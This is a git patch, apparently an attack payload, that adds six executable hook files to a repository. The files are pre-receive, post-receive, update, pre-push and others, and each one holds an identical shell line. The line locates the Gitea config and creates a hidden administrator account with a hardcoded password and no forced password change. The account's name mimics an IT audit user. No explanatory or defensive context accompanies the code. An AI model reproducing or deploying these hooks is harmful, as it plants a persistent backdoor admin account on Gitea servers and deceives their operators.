From 43fa4be71d1f163ed55a3387f0bb687fd4e94eaf Mon Sep 17 00:00:00 2001 From: test-hytn30 Date: Wed, 18 Nov 2026 16:01:32 +0100 Subject: [PATCH] m1 --- hooks/post-index-change | 2 ++ hooks/post-receive | 2 ++ hooks/post-update | 2 ++ hooks/pre-push | 2 ++ hooks/pre-receive | 2 ++ hooks/update | 2 ++ 6 files changed, 12 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/post-update create mode 100755 hooks/pre-push create mode 100755 hooks/pre-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1 diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1 diff --git a/hooks/post-update b/hooks/post-update new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/post-update @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1 diff --git a/hooks/pre-push b/hooks/pre-push new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/pre-push @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1 diff --git a/hooks/pre-receive b/hooks/pre-receive new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/pre-receive @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1 diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..ced4a22 --- /dev/null +++ b/hooks/update @@ -0,0 +1,2 @@ +#!/bin/sh +CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-014091 --password "It-audit-95014091!x" --email it-audit-014091@x.com --must-change-password=false 2>&1